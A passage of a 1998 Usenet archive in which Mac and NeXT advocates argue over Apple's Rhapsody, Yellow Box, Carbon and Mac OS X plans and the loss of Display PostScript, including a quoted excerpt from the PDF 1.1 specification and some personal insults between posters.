> the answer. When I get the conformation of tape for the session, I'll go
buy the
> tape and listen to it myself. The only thing I am taking at his 'word' is
that
> on a specific tape, the question/response will be found.
>
Tosh.
> > Mike's word for it (and Mike _also_ cited a specific session
> > and speaker)
>
> Mike who? I saw in a past thread some mention of a Mike, but I haven't
seen
> where the tie was made. Can you provide the pointer to the tape/text? I
may
> have missed it.
>
Mike Paquette. Senior Apple YellowBox engineer. You've been told this
before.
He doesn't even need to point to a session. He's perfectly capable of
speaking for himself.
> Ok.....show a pointer to where Mike said what. I may have missed it.
>
I posted it earlier, you've even said elsewhere that you found it (some
detective work after I posted it for you...)
What is your obsession with video? Do you get some sort of sexual
gratification from watching Apple employees in public?
mmalc.
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Mon, 18 May 1998 04:05:15 -0700
Message-ID: <see-below-1805980405160001@209.24.240.12>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <35593b48.6388203@198.0.0.100> <andyba-ya02408000R1205981051430001@news> <6jagk8$sol$1@xmission.xmission.com> <andyba-ya02408000R1305981540240001@news> <ericb-1405981148530001@132.236.171.104> <joe.ragosta-1505981426030001@wil136.dol.net> <ericb-1705981603400001@132.236.171.104>
In article <ericb-1705981603400001@132.236.171.104>, ericb@pobox.com (Eric
Bennett) wrote:
> In article <joe.ragosta-1505981426030001@wil136.dol.net>,
> joe.ragosta@dol.net (Joe Ragosta) wrote:
>
>
> > > Because that is the *only* release of Rhapsody for Intel that we'll
> ever see?
> >
> > Says who?
>
> Companies don't usually ship products that have never been announced.
>
> Apple used to talk about Rhapsody Premier/Unified or CR1/CR2, both of
> which were PPC and x86. Now Apple only talks about 1.0 for PPC/Intel and
> MacOS X for PPC. I am assuming that if Apple had a coherent Intel roadmap
> that included continued x86 support, they would have announced it at WWDC.
I'm not sure about that. Apple's No. 1 priority right now is to keep
developers coding for MacOS (or Rhapsody) on PPC, or even to lure some
developers back. They want to downplay Rhapsody for Intel for the time
being, because they don't want to give developers any ideas that might
lead them away from the Mac. Eventually Yellow Box apps written on/for
Intel will add to the stable of Mac applications, but right now continued
Mac development is more important.
> I have now seen comments suggesting it will be dropped and comments
> suggesting that it will not be dropped, so I can only conclude that it's
> up in the air. An official public statement from Apple would be much
> appreciated.
I agree. Apple may not yet know themselves what will become of Rhapsody
for Intel.
> > Why? It was a MACINTOH WWDC. Why should they talk about Windows? They've
> > stated over and over and over that YB will run on Windows. Why keep
> > repeating themselves to an audience that isn't interested in Windows?
>
> It was an *Apple* WWDC. YB is an Apple development tool. (Do you expect
> Apple to hold a separate Windows WWDC to announce YB/Windows support for
> NT5/Win98?)
Apple already announced they would provide Yellow Box for Windows a long
time ago, and reiterated support throughout WWDC. Since Yellow Box for
Windows hasn't shipped yet, but Windows 98/NT 5 will soon be the
"standard" Windows versions (at least 98 will be very soon), by definition
that essentially means YB will support 98/NT5.
Yes, Apple has other future products, but 99% of their developers and
customers are from the Macintosh camp, and the pressing problem right now
is to bolster the Mac so they can return to a stable, growing position,
and stop the exodus of developers to Windows (and they appear to be
succeeding at these things). Rhapsody/Yellow Box wasn't helping yet, since
it hasn't even been released yet, so for now Apple wanted to focus some
public attention on the Mac's future.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 18 May 1998 10:35:19 GMT
Organization: P & L Systems
Message-ID: <6jp2t7$1cc$88@ironhorse.plsys.co.uk>
References: <ericb-1105981718430001@132.236.171.104> <6j9egu$19r$1@crib.bevc.blacksburg.va.us>
<6j9lrd$gl7$1@larry.admin.phil.uu.nl> <slrn6lgo9c.l2e.sal@panix3.panix.com>
<6jcf2d$iu2@newsb.netnews.att.com> <ericb-1405981303550001@132.236.171.104>
<355B1A3C.5955AED1@milestonerdl.com> <6jhtr4$ibt$1@nnrp1.dejanews.com>
<355C787A.2B058D89@milestonerdl.com> <6jk8lv$1cc$51@ironhorse.plsys.co.uk>
<355E123D.1939DF29@milestonerdl.com> <6jmu7u$1cc$57@ironhorse.plsys.co.uk>
<355F2A75.9AB927B7@milestonerdl.com>
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Cc: mark@milestonerdl.com
In <355F2A75.9AB927B7@milestonerdl.com> M Rassbach wrote:
> Good. Now I've found this Mike Post. I have ASKED for a quicktime, or at
least
> a session name so I can go get the tape.
>
> Now, is someone willing to identify WHERE and WHEN Ali spoke?
>
> Or, are you going to continue being a dick Crawford?
>
To do your detective work for you:
In <1d96tg4.10l5obs1bes7w5N@sextans133.wco.com> Mike Paquette wrote:
> M Rassbach <mark@milestonerdl.com> wrote:
>
> > And so the session # where this is mention was what? Is there a QT of
it?
>
> Session 118: Yellow Box: AppKit in Depth, presented by Ali Ozer on
> Tuesday May 12, 1998 in room A2, San Jose Convention Center.
>
> The session was video taped. I have no idea if a QuickTime movie has
> been made yet.
>
> --
> Mike Paquette mpaque@wco.com
>
Now, are you going to continue to be an asshole?
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.next.advocacy
Subject: Re: "Apple please announce YB NT5/98 support, and a commitment to Mach/Rhapsody/YB on Intel"
Date: 18 May 1998 10:32:31 GMT
Organization: P & L Systems
Message-ID: <6jp2nv$1cc$87@ironhorse.plsys.co.uk>
References: <355B510B.250023F2@milestonerdl.com> <355DA040.D6BEABC3@milestonerdl.com>
<6jlfq6$jua$1@crib.bevc.blacksburg.va.us> <355EE75B.BAAEEFBB@milestonerdl.com>
<6jn4gc$pam$1@crib.bevc.blacksburg.va.us> <355F3296.2AF7403@milestonerdl.com>
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Cc: mark@milestonerdl.com
> Session # pls. There are a few yellowbox sessions
>
In <1d96tg4.10l5obs1bes7w5N@sextans133.wco.com> Mike Paquette wrote:
> M Rassbach <mark@milestonerdl.com> wrote:
>
> > And so the session # where this is mention was what? Is there a QT of
it?
>
> Session 118: Yellow Box: AppKit in Depth, presented by Ali Ozer on
> Tuesday May 12, 1998 in room A2, San Jose Convention Center.
>
> The session was video taped. I have no idea if a QuickTime movie has
> been made yet.
>
> --
> Mike Paquette mpaque@wco.com
>
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: End of WYSIWYG w/out DPS?
Date: 18 May 1998 10:45:54 GMT
Organization: P & L Systems
Message-ID: <6jp3h2$1cc$89@ironhorse.plsys.co.uk>
References: <6jnjvs$q5v$1@crib.bevc.blacksburg.va.us> <B184D271-19B2D@206.165.43.16>
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Cc: english@primenet.com
In <B184D271-19B2D@206.165.43.16> "Lawson English" wrote:
> Silliest thing that I've ever heard.
>
> Rhaposdy/NeXT/etc advocates pooh-poohed GX for not being extensible.
>
> So....
>
So...
The PDF 1.1 speci®cation, like the PDF 1.0 speci®cation, de®nes a minimum
interchange level of functionality. The Portable Document Format is an
extensible format, which means that PDF ®les may contain objects not de®ned
by this speci®cation. Consumers, applications that read PDF ®les and
interpret their contents, are expected to implement correctly the semantics
of objects that are speci®ed by PDF 1.1 and, as gracefully as possible, to
ignore any objects that they do not understand.
PDF spec p 19.
Still, don't let facts get in the way of a good argument, eh.
mmalc.
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Mon, 18 May 1998 04:21:10 -0700
Message-ID: <see-below-1805980421100001@209.24.240.12>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <andyba-ya02408000R1205981008330001@news> <ericb-1405981159190001@132.236.171.104> <see-below-1405982034460001@209.24.240.162> <ericb-1505981818400001@132.236.171.104> <see-below-1505982119100001@209.24.241.97> <355DABCF.B1FC5A7E@milestonerdl.com> <6jmt1p$1cc$55@ironhorse.plsys.co.uk> <355F2C5D.DA20E328@milestonerdl.com>
In article <355F2C5D.DA20E328@milestonerdl.com>, mark@milestonerdl.com wrote:
> mmalcolm crawford wrote:
>
> > In <355DABCF.B1FC5A7E@milestonerdl.com> M Rassbach wrote:
> > In all of this prattle, you've forgotten WebObjects, which is based on
> > YellowBox, which has been enhanced significantly since last WWDC, and which
> > is a shipping product. On Windows NT.
> >
> > Apple has a number of *major* high-profile WebObjects customers.
>
> And the press announcements about how wonderful WebObjects, and how the
> main-stream press has picked it up is part of what marketing plan?
Jeez, relax. I doubt Apple is ever going to do a heck of a lot to
advertise their products running on Intel hardware. While they may make
some money from that stuff (depending on how it's priced), what they
really rely on to actually fund all this cool stuff is selling PowerPC
Macintosh hardware.
I hope that some things like Rhapsody and Web Objects continue to be
offered for Intel, in addition to YB for Windows - I think they can
definitely address customers who might want these products but wouldn't
actually be able to justify bying PowerMacs. And every developer writing a
YB application on Intel is writing a future Mac application, too.
But don't expect Apple to push these products publicly with anything like
the resolve they push "Macintosh." If everyone gets the message they can
run all of Apple's software just as well on Intel hardware, Apple will
quickly go out of business.
That's why Apple walks a fine line with Rhapsody for Intel. I do hope it
turns out it can be helpful and profitable for them to offer, while not
siphoning away too many potential Mac hardware sales. I think if they do
it right, the benefits may far outweigh the risks, but I'd consider them
remiss to not consider those risks carefully.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: End of WYSIWYG w/out DPS?
Date: 18 May 1998 10:53:33 GMT
Organization: P & L Systems
Message-ID: <6jp3vd$1cc$90@ironhorse.plsys.co.uk>
References: <6jng30$fg7$1@supernews.com> <6jnjvs$q5v$1@crib.bevc.blacksburg.va.us>
<6jo85b$ik23@odie.mcleod.net>
Mime-Version: 1.0
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Cc: buck.erik@mcleod.net
In <6jo85b$ik23@odie.mcleod.net> "Michelle L. Buck" wrote:
> As was stated several times at WWDC by myself and others, PDF is NOT
> Postscript. The world is full of Postscript printers. There are no PDF
> printers. I can send Postscript to a 5000DPI image setter. I can not send
> PDF with any good result.
>
Umm, I don't see why this is the case...
cf excerpt from the specs below.
> Apple probably did the right thing. If Adobe
> would not play along, Apple had to change strategies. The unfortunate
> reality is that WYSIWYG is gone as of OS-X. PDF will be pretty good. It
> just will not be as good.
>
I'd expect it to be as good, and much better in some respects -- for one
thing the text will be searchable, something Lawson's been wibbling about for
ages...
> By the way, there are lots of perfectly good Postscript files that no
> "distiller" made to date can correctly translate to PDF. That does not
mean
> it is impossible, but it must be hard. WYSIWYG is gone, gone, gone ... Oh
> how I hall miss it.
>
Honestly, WYSIWYG is not gone.
Best wishes,
mmalc.
pp 33-34
2.4 PDF and the PostScript language
The preceding sections mentioned several ways in which PDF differs from the
PostScript language. This section summarizes these differences and describes
the process of converting a PDF ®le into a PostScript language program.
While PDF and the PostScript language share the same basic imaging model,
there are some important differences between them:
* A PDF ®le may contain objects such as hypertext links that are useful only
for interactive viewing.
* To simplify the processing of page descriptions, PDF provides no
programming language constructs.
* PDF enforces a strictly de®ned ®le structure that allows an application to
access parts of a document randomly.
* PDF ®les contain information such as font metrics, to ensure viewing ®d
elity.
Because of these differences, a PDF ®le cannot be downloaded directly to a
PostScript printer for printing. An application that prints a PDF ®le to a
PostScript printer must carry out the following steps:
1. Insert procsets, sets of PostScript language procedure de®nitions that
implement the PDF page description operators.
2. Extract the content for each page. Pages are not necessarily stored in
sequential order in the PDF ®le. Each page description is essentially the
script portion of a traditional PostScript language program using very speci®c
procedures, such as ªmº for moveto and ªlº for lineto.
3. Decode compressed text, graphics, and image data. Except for data encoded
with the Flate ®lter, this is not required for PostScript Level 2 printers,
which can accept compressed data in a PostScript language ®le.
4. Insert any resources, such as fonts, into the PostScript language ®le.
Substitute fonts are de®ned and inserted as needed, based on the font metrics
in the PDF ®le.
5. Put the information in the correct order. The result is a traditional
PostScript language program that fully represents the visual aspects of the
document, but no longer contains PDF elements such as hypertext links,
annotations, and bookmarks.
6. Send the PostScript language program to the printer.
From: don@misckit.com (Don Yacktman)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Sorry That Apple Purchased NeXT?
Date: 17 May 1998 23:33:36 GMT
Organization: MiscKit Development
Message-ID: <6jns4g$mhk$2@news.xmission.com>
References: <199805161935341708619@sdn-ts-002txhousp06.dialsprint.net>
drifterusa@sprintmail.com (John Bauer) wrote:
> No Rhapsody/Intel beyond CR1.
> No more DPS.
> No more NSHosting.
> Yellow Box spotlight usurped by old Mac APIs.
> Fully Macified UI.
> G3 or later hardware required to run future incarnations of Rhapsody.
>
> Without debating the finer points of how true all of the above are, I'm
> curious if the consensus in (this slice of) the NeXT community is that
> things were better before Apple bought NeXT and that, in retrospect, the
> merger was a bad move for NeXT aficionados.
If Apple hadn't bought NeXT, I think we would have likely lost all these
things anyway!
The rumors had been flying that OPENSTEP the OS was about to be axed. NeXT
was already internally switching over to OPENSTEP Enterprise (ie, NT) for
many things. The writing was on the wall...the OS's days were numbered.
Apple comes along and it survives a *little* bit longer than it would have
otherwise. So even if all the above is true (and I'm not saying that it all
is), IMHO things are not any _worse_ than they would have been
otherwise...and I think they are actually better.
--
Later,
-Don Yacktman
don@misckit.com
<a href="http://www.misckit.com/don.html">My home page</a>
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Mon, 18 May 1998 04:31:39 -0700
Message-ID: <see-below-1805980431390001@209.24.240.12>
References: <355B365F.929E049D@spamtoNull.com> <B1809773-7F1C1@207.217.155.114> <355C9631.C99DEE0E@spamtoNull.com> <ericb-1505981805550001@132.236.171.104> <see-below-1505982202520001@209.24.241.97> <6jk95l$b0m@ragnarok.en.uunet.de> <199805161935261708140@sdn-ts-002txhousp06.dialsprint.net> <6jmsmj$199@ragnarok.en.uunet.de>
In article <6jmsmj$199@ragnarok.en.uunet.de>,
hhoff@ragnarok.en.REMOVETHIS.uunet.de (Holger Hoffstaette) wrote:
> John Bauer wrote:
>
> > If you
> > regret that NeXT was ever purchased by Apple because plans for
> > widespread adoption of NeXT technology have had to accommodate Apple's
> > ailing financial condition, I suppose that's a valid complaint, although
> > as far as I can tell, widespread adoption of NeXT technology didn't seem
> > too promising in the first place before the merger. Now it looks to me
> > like NeXT technology will be widely available in a couple of years.
>
> .and here's the rub. By the time this 'yellow box thing' is widely
> available, it will be almost irrelevant to anybody but Apple engineers,
> as an easy way to pump up Java's weak spots. Basically, some kind of
> internal library written in an internal language. That doesn't mean
> it's not important! A better Java implementation (which is also available
> for Windows!) is an important piece of the puzzle - but will people
> coding in Java flock to the YB APIs (Java or not)? I'm not so sure.
That's a good question. I think it would help considerably if Yellow Box
were available more places than just Mac and Windows. I don't know if
Apple is willing to spend the resources to port it to a bunch of different
unix variants on different processors, but I think that's what it will
take for it to be accepted as an extension of Java. Hopefully they could
the get big Unix vendors on board in helping with this--allowing for
widespread availablility of applications would help them as much as it
helps the Mac.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
Date: Mon, 18 May 1998 07:34:39 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Message-ID: <joe.ragosta-1805980734400001@wil100.dol.net>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <pulsar-ya02408000R1105981844070001@news-proxy.cso.uiuc.edu> <3557C5B4.81BDA525@loa.com> <3558718B.69675B8F@spamtoNull.com> <6jbs69$1cc$15@ironhorse.plsys.co.uk> <3559F5A0.E8E7FB3D@spamtoNull.com> <pulsar-ya02408000R1305981524440001@news-proxy.cso.uiuc.edu> <355B31C4.77DFDC17@spamtoNull.com> <pulsar-ya02408000R1405981647290001@news-proxy.cso.uiuc.edu> <355F6DDE.53617770@spamtoNull.com> <pulsar-ya02408000R1705982142300001@news-proxy.cso.uiuc.edu>
In article <pulsar-ya02408000R1705982142300001@news-proxy.cso.uiuc.edu>,
pulsar@springnet1.com (Pulsar) wrote:
> In article <355F6DDE.53617770@spamtoNull.com>, Jonathan Harker
> <Limeyville@spamtoNull.com> wrote:
>
> > In this scenario as handled by Apple--Rhapsody 1.0 never had a chance.
> > Instead, you tell us to wait on the Rhapsody that developers and
> > consumers will LIKE--Mac OS 10 in 18 months.
>
> Not me. I will be getting Rhapsody 1.0. I am not alone in this.
If I can afford it, I'll have it within a week of release.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Mon, 18 May 1998 07:38:14 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Message-ID: <joe.ragosta-1805980738140001@wil100.dol.net>
References: <ericb-1105981718430001@132.236.171.104> <6j9egu$19r$1@crib.bevc.blacksburg.va.us> <6j9lrd$gl7$1@larry.admin.phil.uu.nl> <slrn6lgo9c.l2e.sal@panix3.panix.com> <6jcf2d$iu2@newsb.netnews.att.com> <3559F9D8.2336B338@spamtoNull.com> <6jd1s0$5nv$2@msunews.cl.msu.edu> <355A04FC.420CED76@milestonerdl.com> <rex-1305982038160001@192.168.0.3> <6jnfgj$1cc$74@ironhorse.plsys.co.uk>
In article <6jnfgj$1cc$74@ironhorse.plsys.co.uk>, mmalcolm crawford
<malcolm@plsys.co.uk> wrote:
> In <rex-1305982038160001@192.168.0.3> Eric King wrote:
>
> > How long before those same developers start saying,
> > 'well, we'd love to support such & such feature, but since it's not part
> > of Carbon, we won't.' followed by 'Hey, couldn't you guys figure out some
> > way of letting Carbon apps use those advanced features without scrapping
> > everything?'
> >
> THEY ALREADY HAVE.
> It's already been reported that Carbon apps will be able to call the YB API,
> and that AAA+'s Joy for Rhapsody is able to intercept both YB and Carbon
> calls...
That's the final piece of the puzzle. So, to make development easier,
Apple is offering two choices:
1. Scrap all your legacy code and write for YB. You get cross-platform
development and the best developer tools in existence.
or
2. Tweak your existing Mac apps to make them run in Carbon. Then, as you
add new features or rewrite sections of the app, you can do it in YB.
Eventually, when enough of your code is YB, you scrap the legacy code for
a complete YB version.
Perfect.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Mon, 18 May 1998 07:41:38 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Message-ID: <joe.ragosta-1805980741380001@wil100.dol.net>
References: <ericb-1105981718430001@132.236.171.104> <6j9egu$19r$1@crib.bevc.blacksburg.va.us> <6j9lrd$gl7$1@larry.admin.phil.uu.nl> <slrn6lgo9c.l2e.sal@panix3.panix.com> <6jcf2d$iu2@newsb.netnews.att.com> <ericb-1405981303550001@132.236.171.104> <355B1A3C.5955AED1@milestonerdl.com> <joe.ragosta-1505981306200001@wil95.dol.net> <ericb-1705981556400001@132.236.171.104>
In article <ericb-1705981556400001@132.236.171.104>, ericb@pobox.com (Eric
Bennett) wrote:
> In article <joe.ragosta-1505981306200001@wil95.dol.net>,
> joe.ragosta@dol.net (Joe Ragosta) wrote:
>
>
> > Nonsense. Apple has specifically and clearly stated that YB will work on
> > WinNT/95.
>
> He was talking about NT5/98, not NT4/95.
And, as I've stated, NT5/98 are not supposed to break any significant
number of apps.
But it's a moot point since it's already been posted here that Apple has
YB working on NT5/98.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Mon, 18 May 1998 07:47:57 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Message-ID: <joe.ragosta-1805980747570001@wil100.dol.net>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <35593b48.6388203@198.0.0.100> <andyba-ya02408000R1205981051430001@news> <6jagk8$sol$1@xmission.xmission.com> <andyba-ya02408000R1305981540240001@news> <ericb-1405981148530001@132.236.171.104> <joe.ragosta-1505981426030001@wil136.dol.net> <ericb-1705981603400001@132.236.171.104>
In article <ericb-1705981603400001@132.236.171.104>, ericb@pobox.com (Eric
Bennett) wrote:
> In article <joe.ragosta-1505981426030001@wil136.dol.net>,
> joe.ragosta@dol.net (Joe Ragosta) wrote:
>
>
> > > Because that is the *only* release of Rhapsody for Intel that we'll
> ever see?
> >
> > Says who?
>
> Companies don't usually ship products that have never been announced.
I see. So it's safe to assume that there will never be a Windows NT 6.0?
After all, there's no formal announcment.
Or, Intel will never ship an x86 chip after 1999? No announcement.
Darn--I better find an alternative to Office. There won't be a product
after Office 99. (by your logic).
>
> Apple used to talk about Rhapsody Premier/Unified or CR1/CR2, both of
> which were PPC and x86. Now Apple only talks about 1.0 for PPC/Intel and
> MacOS X for PPC. I am assuming that if Apple had a coherent Intel roadmap
> that included continued x86 support, they would have announced it at WWDC.
>
> I have now seen comments suggesting it will be dropped and comments
> suggesting that it will not be dropped, so I can only conclude that it's
> up in the air. An official public statement from Apple would be much
> appreciated.
Apple has already made such a statement. See MacWeek this week. The plan
is very, very simple if people would stop jumping to conclusions:
Rhapsody = Mach plus Blue Box plus Yellow Box plus Unixy stuff (as BSD)
MacOS X = Rhapsody plus Carbon (and with the Unix stuff as Posix)
Rhapsody will run on x86 and PPC
MacOS X runs on PPC only.
Rhapsody targeted at developers, servers, and high end users
MacOS X targeted at workstation users
Apple has stated that the two will be converged at some point--presumably,
that means bringing Carbon into Rhapsody (although Carbon would presumably
be on PPC only)
Did you notice that all the "YB is dead", "Rhapsody is dead", etc posts
never have any evidence to back up their position (other than some badly
twisted distortions of what someone said)?
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Mon, 18 May 1998 07:53:26 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Message-ID: <joe.ragosta-1805980753270001@wil100.dol.net>
References: <ericb-1105981718430001@132.236.171.104> <ericb-1405981148530001@132.236.171.104> <stevenj-ya02408000R1405981340230001@news.mit.edu> <ericb-1505981832560001@132.236.171.104> <6jij5k$bgm$1@crib.bevc.blacksburg.va.us> <ericb-1705981606110001@132.236.171.104>
In article <ericb-1705981606110001@132.236.171.104>, ericb@pobox.com (Eric
Bennett) wrote:
> Lots of people around here think MacWeek screwed up reporting that OS X
> will only run on the G3. They didn't directly quote an Apple
> official--they provided their interpretation of what was said. Stepwise
> is doing the same. I want to know exactly what statements by Apple are
> behind the statements made in Stepwise.
>
> There are a lot of comments flying around that support both sides of this
> argument. That's why I think it's especially important in this case that
> Apple make an official statement.
OK. Try:
http://www.zdnet.com/macweek/mw_1219/nw_appleosx.html
" Rhapsody. It will continue as a product line, Apple said, and remain
focused on publishing and server markets."
AND
The plan for putting Mac OS X and Rhapsody on a common core OS allows
the company eventually to simplify its OS plans, Apple said. "Over time,
we are working on a converged OS," said Bertrand Serlet, vice president
of platform technologies. "Once you have the same operating system
underneath the Mac OS and underneath Rhapsody, you would like to
converge."
I don't see anything here that says that Rhapsody has been changed in any
way. Nothing about dropping x86. Nothing about dropping YB.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Mon, 18 May 1998 07:57:35 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Message-ID: <joe.ragosta-1805980757350001@wil100.dol.net>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <pulsar-ya02408000R1105981844070001@news-proxy.cso.uiuc.edu> <3557C5B4.81BDA525@loa.com> <3558718B.69675B8F@spamtoNull.com> <6jbs69$1cc$15@ironhorse.plsys.co.uk> <3559F5A0.E8E7FB3D@spamtoNull.com> <pulsar-ya02408000R1305981524440001@news-proxy.cso.uiuc.edu> <B1800144-FB3B5@204.31.112.110> <355AD786.FD81A010@milestonerdl.com> <see-below-1405982138030001@209.24.240.162> <6jh0fi$1cc$38@ironhorse.plsys.co.uk> <see-below-1505980333080001@209.24.240.3> <1d9380v.p9wcmxbu7ozeN@pc4.holmlia.online.no> <6jn8sn$8j0$1@nnrp1.dejanews.com> <199805172329132380140@sdn-ts-001txhousp01.dialsprint.net>
In article <199805172329132380140@sdn-ts-001txhousp01.dialsprint.net>,
drifterusa@sprintmail.com (John Bauer) wrote:
> <anders@common.se> wrote re Rhapsody continuing as a server OS:
>
> > If you have a URL that doesn't require a T1 and a free weekend, post it.
> >
> > I'm under the impression that Jobs said Apple won't have a dual-OS strategy.
> > For no good reason save conditioned pessimism, many people interpreted
this to
> > mean they won't have a *dual-API* strategy (i.e. no YB). As it was
directed to
> > the MacOS community, I'd expect it to mean there won't be a separate
server OS
> > that won't run their apps.
> >
> > Mainstream OS unification was scheduled for after Y2K, now it's before
Y2K. I
> > can't remember the last time Apple moved a release date in that direction. I
> > hope it's not too optimistic.
>
> I'm sure I read somewhere that Rhapsody would continue as a server OS
> after OS X was released but that *eventually* the two would be one.
> However, like you, I do not have the resources to download every WWDC
> tidbit -- even the slides at developer.com are taxing! It could be that
> OS X will be available in consumer and server versions, with the latter
> including all the Unix and developer tools, sort of like NT Workstation
> and Server -- not a dual-OS per se (same core), just variations on a
> theme.
See Macweek:
http://www.zdnet.com/macweek/mw_1219/nw_appleosx.html
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Mon, 18 May 1998 07:59:18 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: End of WYSIWYG w/out DPS?
Message-ID: <joe.ragosta-1805980759190001@wil100.dol.net>
References: <6jng30$fg7$1@supernews.com>
In article <6jng30$fg7$1@supernews.com>, a l t e n b e r@nashville.com wrote:
> Does the evisceration of Display PostScript from Yellow Box and MacOS X mean
> the end of the true "What You See Is What You Get" feature unique to
> Rhapsody, OpenStep and NeXTStep? This is more of a loss to MacOS X than the
> loss of NSHost, in my opinion. It is a feature of NeXTStep and its
> decendents that truly differentiated it from every other system out there.
> The presence of this unified imaging model made it possible for me to
> exchange images from any application to any other, and to take the printer
> output and embed that in any application. And always with WYSIWYG.
>
> Anyone know what the new MacOS X regime will bring?
It's not clear, but you can bet that WYSIWYG will be part of it. Apple has
had this since the beginning and isn't going to drop it now.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: *johnnyc*@or.psychology.dal.ca (John Christie)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Mon, 18 May 1998 09:22:09 -0300
Organization: ISINet, Nova Scotia
Message-ID: <*johnnyc*-1805980922090001@jchristie.halifaxcable.dal.ca>
References: <B17C8D50-7E886@206.165.43.134> <35573831.69E8CDC6@milestonerdl.com>
In article <35573831.69E8CDC6@milestonerdl.com>, mark@milestonerdl.com wrote:
> Yea, I'm looking for better clarification on CARBON vs YellowBox.
>
> If carbon is now the future, then that answers any question I had about an
> Intel (or any hardware) migration via YellowBox.
Carbon is the future for behemoths like MS and Adobe with millions
lines of current Mac code. Yellow Box is the future for anyone who wants
to try to beat them.
--
You aren't free if you CAN choose - only if you DO choose.
All you are is the decisions you make.
Remove "*" and ohnny (i.e. jc@) to reply via email
From: *johnnyc*@or.psychology.dal.ca (John Christie)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Mon, 18 May 1998 09:27:18 -0300
Organization: ISINet, Nova Scotia
Message-ID: <*johnnyc*-1805980927180001@jchristie.halifaxcable.dal.ca>
References: <B17C8D50-7E886@206.165.43.134> <35573831.69E8CDC6@milestonerdl.com> <rex-1105981539090001@192.168.0.3> <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <35574B32.2D3298EB@milestonerdl.com> <6j7qcj$pb9$1@nargun.cc.uq.edu.au>
In article <6j7qcj$pb9$1@nargun.cc.uq.edu.au>, "Christopher Smith"
<drsmithy@usa.net> wrote:
> >Pulsar wrote:
> >
> >Smacks of Microsoft.
> >
> >Lets change the OS so it breaks everybodys Apps. Then, the users can pay
> the
> >application makers to un-break things.
>
> You have *got* to be kidding. The biggest reason Win95 (and to a lesser
> extent, NT) has most of the problems it does is because it goes to
> extraordinary lengths *not* to break existing software (and hardware).
You are both right. MS won't break anything old of theirs or that they
feel is necessary for the new OS to sell well. However, they are
perfectly willing to manipulate the OS in undocumented ways in order to
quell competition. If YB is seen as competition they might try to break
it. They've proved this in the past.
--
You aren't free if you CAN choose - only if you DO choose.
All you are is the decisions you make.
Remove "*" and ohnny (i.e. jc@) to reply via email
From: anders@common.se
